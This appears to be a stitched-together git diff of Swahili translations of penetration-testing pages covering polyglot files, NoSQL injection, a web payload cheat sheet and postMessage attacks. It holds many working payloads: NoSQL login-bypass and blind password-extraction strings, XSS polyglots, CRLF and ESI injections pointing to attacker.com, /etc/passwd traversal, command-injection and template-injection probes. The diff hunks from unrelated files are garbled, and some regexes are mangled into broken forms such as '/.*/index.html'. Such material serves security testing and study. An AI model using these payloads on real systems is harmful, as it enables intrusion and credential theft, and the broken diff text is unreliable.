Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
 | 
			
		||||
 | 
			
		||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Praktiki ya kawaida katika programu mbalimbali inajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
 | 
			
		||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
 | 
			
		||||
 | 
			
		||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 | 
			
		||||
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 | 
			
		||||
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 | 
			
		||||
```
 | 
			
		||||
### Mipangilio ya msingi ya uthibitishaji
 | 
			
		||||
### Mipango ya msingi ya uthibitishaji
 | 
			
		||||
 | 
			
		||||
**Kutumia si sawa ($ne) au kubwa ($gt)**
 | 
			
		||||
```bash
 | 
			
		||||
@ -35,18 +35,18 @@ username[$exists]=true&password[$exists]=true
 | 
			
		||||
```javascript
 | 
			
		||||
query = { $where: `this.username == '${username}'` }
 | 
			
		||||
```
 | 
			
		||||
Mshambuliaji anaweza kutumia hii kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kuridhisha hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` zinatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
 | 
			
		||||
Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza sharti kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` hutumiwa kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
 | 
			
		||||
```
 | 
			
		||||
Normal sql: ' or 1=1-- -
 | 
			
		||||
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
 | 
			
		||||
```
 | 
			
		||||
### Toa taarifa za **urefu**
 | 
			
		||||
### Extract **length** information
 | 
			
		||||
```bash
 | 
			
		||||
username[$ne]=toto&password[$regex]=.{1}
 | 
			
		||||
username[$ne]=toto&password[$regex]=.{3}
 | 
			
		||||
# True if the length equals 1,3...
 | 
			
		||||
```
 | 
			
		||||
### Toa **data** taarifa
 | 
			
		||||
### Extract **data** information
 | 
			
		||||
```
 | 
			
		||||
in URL (if length == 3)
 | 
			
		||||
username[$ne]=toto&password[$regex]=a.{2}
 | 
			
		||||
@ -67,7 +67,7 @@ in JSON
 | 
			
		||||
### **SQL - Mongo**
 | 
			
		||||
```
 | 
			
		||||
/?search=admin' && this.password%00 --> Check if the field password exists
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
 | 
			
		||||
@ -76,7 +76,7 @@ in JSON
 | 
			
		||||
...
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
 | 
			
		||||
```
 | 
			
		||||
### PHP Utekelezaji wa Kazi za Kijazaji
 | 
			
		||||
### PHP Arbitrary Function Execution
 | 
			
		||||
 | 
			
		||||
Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 | 
			
		||||
```python
 | 
			
		||||
@ -88,7 +88,7 @@ Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agent
 | 
			
		||||
 | 
			
		||||
Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard.
 | 
			
		||||
 | 
			
		||||
**NOTE:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`.
 | 
			
		||||
**KUMBUKA:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida zaidi za `find()` au `findOne()`.
 | 
			
		||||
```json
 | 
			
		||||
[
 | 
			
		||||
{
 | 
			
		||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 | 
			
		||||
|| 1==1//
 | 
			
		||||
|| 1==1%00
 | 
			
		||||
}, { password : /.*/ }
 | 
			
		||||
' && this.password.match(/.*/)//+%00
 | 
			
		||||
' && this.passwordzz.match(/.*/)//+%00
 | 
			
		||||
'%20%26%26%20this.password.match(/.*/)//+%00
 | 
			
		||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
 | 
			
		||||
' && this.password.match(/.*/index.html)//+%00
 | 
			
		||||
' && this.passwordzz.match(/.*/index.html)//+%00
 | 
			
		||||
'%20%26%26%20this.password.match(/.*/index.html)//+%00
 | 
			
		||||
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 | 
			
		||||
{$gt: ''}
 | 
			
		||||
[$ne]=1
 | 
			
		||||
';sleep(5000);
 | 
			
		||||
@ -218,12 +218,12 @@ return usernames
 | 
			
		||||
for u in get_usernames(""):
 | 
			
		||||
get_password(u)
 | 
			
		||||
```
 | 
			
		||||
## Vifaa
 | 
			
		||||
## Tools
 | 
			
		||||
 | 
			
		||||
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 | 
			
		||||
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@ Lengo la PoCs na Polygloths hizi ni kumtolea mtihani **muhtasari** wa haraka wa
 | 
			
		||||
> Hii **cheatsheet haitoi orodha kamili ya majaribio kwa kila udhaifu**, ni baadhi tu ya msingi. Ikiwa unatafuta majaribio ya kina zaidi, pata kila udhaifu ulioanzishwa.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Hapa **hutapata sindano zinazotegemea Aina ya Maudhui kama XXE**, kwani kawaida utajaribu hizo mwenyewe ikiwa utapata ombi linalotuma data za xml. Hapa **hutapata sindano za database** kwani hata kama maudhui fulani yanaweza kuonyeshwa inategemea sana teknolojia na muundo wa DB ya nyuma.
 | 
			
		||||
> Hapa **hutapata sindano zinazotegemea Aina ya Maudhui kama XXE**, kwani kawaida utajaribu hizo mwenyewe ikiwa utapata ombi linalotuma data za xml. Hapa **hutapata sindano za database** pia kwani hata kama maudhui fulani yanaweza kuonyeshwa inategemea sana teknolojia na muundo wa DB ya nyuma. 
 | 
			
		||||
 | 
			
		||||
## Polygloths list
 | 
			
		||||
```python
 | 
			
		||||
@ -46,7 +46,7 @@ javascript:alert(1)
 | 
			
		||||
javascript:alert()
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
```
 | 
			
		||||
@ -81,7 +81,7 @@ $(ls)
 | 
			
		||||
```
 | 
			
		||||
## [CRLF](../crlf-0d-0a.md)
 | 
			
		||||
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
### Jaribio la Msingi
 | 
			
		||||
```bash
 | 
			
		||||
%0d%0aLocation:%20http://attacker.com
 | 
			
		||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
 | 
			
		||||
@ -90,13 +90,13 @@ $(ls)
 | 
			
		||||
```
 | 
			
		||||
## Dangling Markup
 | 
			
		||||
 | 
			
		||||
### Majaribio Msingi
 | 
			
		||||
### Basic Tests
 | 
			
		||||
```markup
 | 
			
		||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
 | 
			
		||||
```
 | 
			
		||||
## [Ujumuishaji wa Faili/Kupita Njia](../file-inclusion/)
 | 
			
		||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 | 
			
		||||
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
### Mtesti ya Msingi
 | 
			
		||||
```bash
 | 
			
		||||
/etc/passwd
 | 
			
		||||
../../../../../../etc/hosts
 | 
			
		||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 | 
			
		||||
http://asdasdasdasd.burpcollab.com/mal.php
 | 
			
		||||
\\asdasdasdasd.burpcollab.com/mal.php
 | 
			
		||||
```
 | 
			
		||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
 | 
			
		||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
```bash
 | 
			
		||||
@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
 | 
			
		||||
```markup
 | 
			
		||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 | 
			
		||||
```
 | 
			
		||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
 | 
			
		||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
Majaribio sawa yanayotumika kwa Open Redirect yanaweza kutumika hapa.
 | 
			
		||||
 | 
			
		||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
 | 
			
		||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 | 
			
		||||
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
```markup
 | 
			
		||||
@ -161,7 +161,7 @@ ${{7*7}}
 | 
			
		||||
```
 | 
			
		||||
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
 | 
			
		||||
### Jaribio la Msingi
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
```markup
 | 
			
		||||
<xsl:value-of select="system-property('xsl:version')" />
 | 
			
		||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 | 
			
		||||
@ -172,7 +172,7 @@ ${{7*7}}
 | 
			
		||||
```
 | 
			
		||||
## XSS
 | 
			
		||||
 | 
			
		||||
### Jaribio la Msingi
 | 
			
		||||
### Majaribio ya Msingi
 | 
			
		||||
```markup
 | 
			
		||||
" onclick=alert() a="
 | 
			
		||||
'"><img src=x onerror=alert(1) />
 | 
			
		||||
@ -183,7 +183,7 @@ javascript:alert()
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
 | 
			
		||||
 | 
			
		||||
@ -36,7 +36,7 @@ javascript:alert(1)
 | 
			
		||||
javascript:alert()
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -34,11 +34,11 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 | 
			
		||||
```
 | 
			
		||||
Kumbuka kwamba **targetOrigin** inaweza kuwa '\*' au URL kama _https://company.com._\
 | 
			
		||||
Katika **hali ya pili**, **ujumbe unaweza kutumwa tu kwa ile domain** (hata kama asili ya kitu cha dirisha ni tofauti).\
 | 
			
		||||
Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na utatumwa kwa asili ya kitu cha Dirisha.
 | 
			
		||||
Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na utatumwa kwa asili ya kitu cha Window.
 | 
			
		||||
 | 
			
		||||
### Kushambulia iframe & wildcard katika **targetOrigin**
 | 
			
		||||
 | 
			
		||||
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\
 | 
			
		||||
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** **ujumbe wa nyeti** kwa domain inayodhibitiwa na wewe.\
 | 
			
		||||
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**.
 | 
			
		||||
```markup
 | 
			
		||||
<html>
 | 
			
		||||
@ -69,22 +69,22 @@ if (event.origin !== "http://example.org:8080") return
 | 
			
		||||
false
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nywila). **Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
 | 
			
		||||
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa unatarajia kufanya **kitu chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nywila). **Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
 | 
			
		||||
 | 
			
		||||
### Uhesabuji
 | 
			
		||||
 | 
			
		||||
Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
 | 
			
		||||
 | 
			
		||||
- **Tafuta** msimbo wa JS kwa `window.addEventListener` na `$(window).on` (_toleo la JQuery_)
 | 
			
		||||
- **Teua** katika console ya zana za maendeleo: `getEventListeners(window)`
 | 
			
		||||
- **Tekeleza** katika console ya zana za maendeleo: `getEventListeners(window)`
 | 
			
		||||
 | 
			
		||||
 (1).png>)
 | 
			
		||||
 | 
			
		||||
- **Nenda kwa** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
 | 
			
		||||
- **Nenda** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kuonyesha kwako.
 | 
			
		||||
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kukuonyesha.
 | 
			
		||||
 | 
			
		||||
### Bypass za kuangalia asili
 | 
			
		||||
 | 
			
		||||
@ -95,7 +95,7 @@ Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
 | 
			
		||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha kubadilishwa kwa kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
 | 
			
		||||
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha uhamasishaji wa kimya kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
 | 
			
		||||
 | 
			
		||||
```javascript
 | 
			
		||||
"https://www.safedomain.com".search("www.s.fedomain.com")
 | 
			
		||||
@ -120,13 +120,13 @@ result = u(new Error("'\"<b>\\"))
 | 
			
		||||
result.message // "'"<b>\"
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokana na mali yake ya `name` isiyo na uwezo wa kuandikwa. Mali hii, inapokuwa katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
 | 
			
		||||
Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokana na mali yake ya kusoma tu `name`. Mali hii, inapokuwa katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
 | 
			
		||||
 | 
			
		||||
- Mali ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza eneo, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya eneo moja la mzazi.
 | 
			
		||||
 | 
			
		||||
### e.origin == window.origin bypass
 | 
			
		||||
 | 
			
		||||
Wakati wa kuingiza ukurasa wa wavuti ndani ya **sandboxed iframe** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
 | 
			
		||||
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
 | 
			
		||||
 | 
			
		||||
Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
 | 
			
		||||
 | 
			
		||||
@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md
 | 
			
		||||
 | 
			
		||||
### Kupita e.source
 | 
			
		||||
 | 
			
		||||
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (haswa ya kuvutia kwa **Content Scripts kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
 | 
			
		||||
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa inavutia kwa **Mifumo ya Maudhui kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
 | 
			
		||||
```javascript
 | 
			
		||||
// If it’s not, return immediately.
 | 
			
		||||
if (received_message.source !== window) {
 | 
			
		||||
return
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** ambayo **inatuma** **postMessage** na **kufutwa mara moja**.
 | 
			
		||||
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na ambayo **inafuta mara moja**.
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi **soma:**
 | 
			
		||||
 | 
			
		||||
@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
 | 
			
		||||
 | 
			
		||||
### X-Frame-Header bypass
 | 
			
		||||
 | 
			
		||||
Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
 | 
			
		||||
Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji **kuiweka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
 | 
			
		||||
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
 | 
			
		||||
```markup
 | 
			
		||||
<script>
 | 
			
		||||
@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
 | 
			
		||||
 | 
			
		||||
Katika hali ambapo data iliyotumwa kupitia `postMessage` inatekelezwa na JS, unaweza **iframe** **ukurasa** na **kutumia** **uchafuzi wa prototype/XSS** kwa kutuma exploit kupitia `postMessage`.
 | 
			
		||||
 | 
			
		||||
Mfano kadhaa wa **XSS nzuri sana kupitia `postMessage`** yanaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
 | 
			
		||||
Mfano kadhaa wa **XSS nzuri sana zilizofafanuliwa kupitia `postMessage`** zinaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
 | 
			
		||||
 | 
			
		||||
